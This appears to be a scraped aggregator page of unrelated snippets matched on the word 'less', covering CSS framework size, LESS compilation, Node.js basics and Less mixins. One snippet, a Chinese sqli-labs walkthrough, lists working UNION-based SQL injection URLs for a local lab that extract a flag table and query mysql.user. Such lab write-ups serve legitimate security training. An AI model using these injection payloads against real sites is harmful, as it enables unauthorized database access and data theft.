less

What is the best Approach for CSS framework of an Enterprise Cloud application?

℡╲_俬逩灬. 提交于 2019-12-05 15:55:48
问题 There are several ways to style the elements in each page, in Enterprise applications usually the CSS Framework size increased about 1 MB, and when your users are using slow internet connection, you should decrease css framework size. we can create new CSS for our element like .Blah and value it in css framework and do this for each element which cause increase size of css framework, but a cleaner page <div id="blah" class="blah"></div> we can also use our css framework utilities in each view

sqli-labs通关记录

自古美人都是妖i 提交于 2019-12-05 14:55:58
环境搭建: https://www.cnblogs.com/kagari/p/11910749.html 在此基础上添加了一个flag数据库,库名flag,表名flag,字段名flag Less-1 http://172.16.124.149/Less-1/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23 Less-2 http://172.16.124.149/Less-2/?id=0%20union%20select%201,2,flag%20from%20flag.flag Less-3 http://172.16.124.149/Less-3/?id=0%27)%20union%20select%201,2,flag%20from%20flag.flag%23 Less-4 http://172.16.124.149/Less-4/?id=0%22)%20union%20select%201,2,flag%20from%20flag.flag%23 Less-5 http://172.16.124.149/Less-5/?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select

Running LESS server-side vs. client-side

谁都会走 提交于 2019-12-05 14:30:10
问题 What are the advantages / disadvantages to running the LESS framework client-side vs. server-side? Does page load time take a hit if you run it client-side? 回答1: On the server, you have to take more care with your cache control headers and you sacrifice a bit of CPU power. On the client, it breaks if JS isn't available. (For your production systems,) do it at build time and just serve up static CSS. That's efficient and reliable. 回答2: Using ASP.NET MVC 4.0 Bundling you can use: var bundle =

Node.js基本内容和知识点

…衆ロ難τιáo~ 提交于 2019-12-05 14:02:06
### Node.Js入门教程 --- > 简单的说 Node.js 就是运行在服务端的 JavaScript,起初段定位是后端开发语言,由于技术的不够成熟,一般小型项目会完全使用node.js作为后台支撑,大项目中,运行不够稳定,不会轻易使用。具有高并发优良特性,Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。 > node.js 现在今可以替换很多小型的php项目 ,但是虽然定位为后端语言,但常用于前后端但中间件,例如用于搭建前端服务器,用于替换代理请求等,前端工程化的工具环境等使用。 我们作为前端,需要掌握什么东西? 掌握node.js基本使用,前期不是为了开发后端,主要能够掌握其常规语法,和基础的内置的功能,能够满足一个前端对于前端工具的使用。(不懂语法规范,那么就没有办法去使用前端自动化各种工具) --- 浏览器中的javascript:主要是window窗口中都一些基于事件、DOM操作等功能 后端中NodeJS:不存在window对象与DOM操作,窗口事件 共同特性:都遵循着ECMAScript都标准语法规范 node中没有window对象,它有一个自己的全局对象:global ## # 主要模块: ​ 1.fs 文件操作 ​ 目录的创建与删除 ​ 文件的读取写入 ​

Combining two .less files in one

旧城冷巷雨未停 提交于 2019-12-05 13:32:10
Suppose I have two less files, first.less .a { .b { font-size: 13px; } color: lime; } and second.less @import "first.less"; .a { font-family: sans-serif; } I would like a way of combining them into one, merging the trees: .a { .b { font-size: 13px; } color: lime; font-family: sans-serif; } So, something similar as compiling to .css , but keeping the .less structure. Is it possible to do via a command line tool, library or programmatically? Bass Jobsen What @helderdarocha means, you can write native javascript and run this with node.js. See for instance http://lesscss.org/#using-less-usage-in

css/sass/scss/less认知

半城伤御伤魂 提交于 2019-12-05 13:06:45
css(cascadiing style sheets层叠样式表) SASS是用Ruby语言写的,两者的语法没有关系,使用时先安装Ruby,再安装SASS。 Scss 是sass 3引入的新语法,其语法完全兼容css3,并且继承了sass Less是一门CSS预处理语言,它扩展了CSS语言,增加了变量,Mixin,函数等特性,使CSS更易维护和扩展。Less可以运行在Node或者浏览器端。后缀名.less 区别 编译的环境不一样,SASS使用的是Ruby环境,是在服务端处理的。LESS需要引入less.js来处理LESS代码输出CSS到浏览器,也可以在开发环节使用LESS,然后编译成css文件 变量符不一样,LESS是@,Sass是$,而且变量的作用域也不一样。 LESS没有输出设置,Sass提供4种输出选项,nested(嵌套缩进的CSS代码,是默认值),compact(简洁格式的css代码),compressed(压缩后的css代码)和expanded(没有缩进的、扩展的css代码)。在生产环境中一般使用compressed,如sass –style compressed test.sass test.css。 Sass支持条件语句,可以使用if else,for循环等,而LESS不支持。 SASS引用的外部文件命名必须以_开头。文件名如果以下划线开头

How to get the Rhino edition of Less v.2.0.0 using bower as a package manager

北战南征 提交于 2019-12-05 12:44:08
I'm using the Rhino edition of less.js, extracted to my devlopment environment using bower. Under 1.7.5 everything worked fine, bower would get all the different editions, both Node and Rhino editions would be stored in my environment. With the recent update to 2.0.0 it would seem that only the Node versions are included. Is there some way to get bower to extract the Rhino edition? I can of-course download it manually, but then I would have to manually maintain that reference. Keeping track of new versions is one of my main reasons for using a package manager. Bass Jobsen Well from the

Bundling less and css files together

青春壹個敷衍的年華 提交于 2019-12-05 11:25:54
I feel like bundling should be used to group a bunch of files which you use together into one single delivery to the browser. This would mean for example for my root style I would like to do something like the following: var bundle = new StyleBundle("~/Content/style").Include( "~/Content/mystyle.less", "~/Content/bootstrap.css", "~/Content/bootstrap-responsive.css"); bundle.Transforms.Add(new LessTransform()); bundle.Transforms.Add(new CssMinify()); bundles.Add(bundle); But this doesn't seem to work very well with the custom transform technique for bundling less files as it looks like it pre

Is there any way to get another element value in Less?

扶醉桌前 提交于 2019-12-05 11:06:19
问题 I'm new to Less . In my script, I'd like to use the width of box1 in box2 . Please review my script. #box1 { width: 1000px; height: 500px; } #box2 { width: #box1.width - 100px; } Is it possible or not? If yes, please give me correct Less code. 回答1: unfortunatly it is indeed not possible. You could work with variables and do something like this however: @box1width: 1000px; #box1 { width: @box1width; height: 500px; } #box2 { width: @box1width - 100; } 回答2: No, that's not possible. LESS

Combining multiple “transform” entries in Less

淺唱寂寞╮ 提交于 2019-12-05 10:58:17
问题 I have two mixins which both convert to -webkit-transform : .rotate(@deg) { -webkit-transform: rotate(@deg); } .scale(@factor) { -webkit-transform: scale(@factor); } When I use them together: div { .rotate(15deg); .scale(2); } ... they (as expected) show up as: div { -webkit-transform: rotate(15deg); -webkit-transform: scale(2); } This doesn't seem to be valid CSS as the second has precedence over the first; the first is discarded. To combine transform entries it should be: -webkit-transform: